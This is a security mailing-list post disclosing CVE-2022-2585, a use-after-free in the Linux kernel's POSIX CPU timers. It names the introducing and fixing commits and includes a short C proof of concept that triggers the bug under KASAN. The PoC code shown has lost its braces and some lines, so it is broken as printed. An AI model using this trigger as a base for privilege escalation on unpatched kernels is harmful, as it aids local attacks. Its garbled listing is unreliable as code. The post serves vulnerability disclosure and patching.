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Date: Wed, 17 Aug 2022 17:29:35 -0300
From: Thadeu Lima de Souza Cascardo <>
Subject: Re: CVE-2022-2585 - Linux kernel POSIX CPU timer UAF

On Tue, Aug 09, 2022 at 02:13:40PM -0300, Thadeu Lima de Souza Cascardo wrote:
> CVE-2022-2585 - Linux kernel POSIX CPU timer UAF
> It was discovered that when exec'ing from a non-leader thread, armed POSIX
> CPU timers would be left on a list but freed, leading to a use-after-free.
> An independent security researcher working with SSD Secure Disclosure
> discovered that this vulnerability could be exploited for Local Privilege
> Escalation.
> This bug was introduced by commit 55e8c8eb2c7b ("posix-cpu-timers: Store a
> reference to a pid not a task"), which is present since v5.7-rc1.
> This has been assigned CVE-2022-2585.
> A PoC that will trigger KASAN is going to be posted in a week.
> A fix has been sent to and is at

This has been merged as commit e362359ace6f87c201531872486ff295df306d13.

The PoC should be built with the name poc as that is what it tries to exec.

#define _GNU_SOURCE
#include <sched.h>
#include <time.h>
#include <unistd.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

static int timer_uaf(void *d)
	timer_t tid;
	struct itimerspec its;

	its.it_interval.tv_sec = 3;
	its.it_interval.tv_nsec = 0;
	its.it_value.tv_sec = 3;
	its.it_value.tv_nsec = 0;
	timer_create(CLOCK_THREAD_CPUTIME_ID, NULL, &tid);
	timer_settime(tid, 0, &its, NULL);
	execlp("./poc", "poc1", NULL);

static char stack[8192];

int main(int argc, char **argv)
	timer_t tid;
	int i;

	if (!strcmp(argv[0], "poc1")) {

	if (fork() > 0) {
		waitpid(-1, NULL, 0);

	clone(timer_uaf, stack+4096, SIGCHLD | CLONE_VM | CLONE_SIGHAND | CLONE_THREAD, NULL, NULL, NULL);


	return 0;

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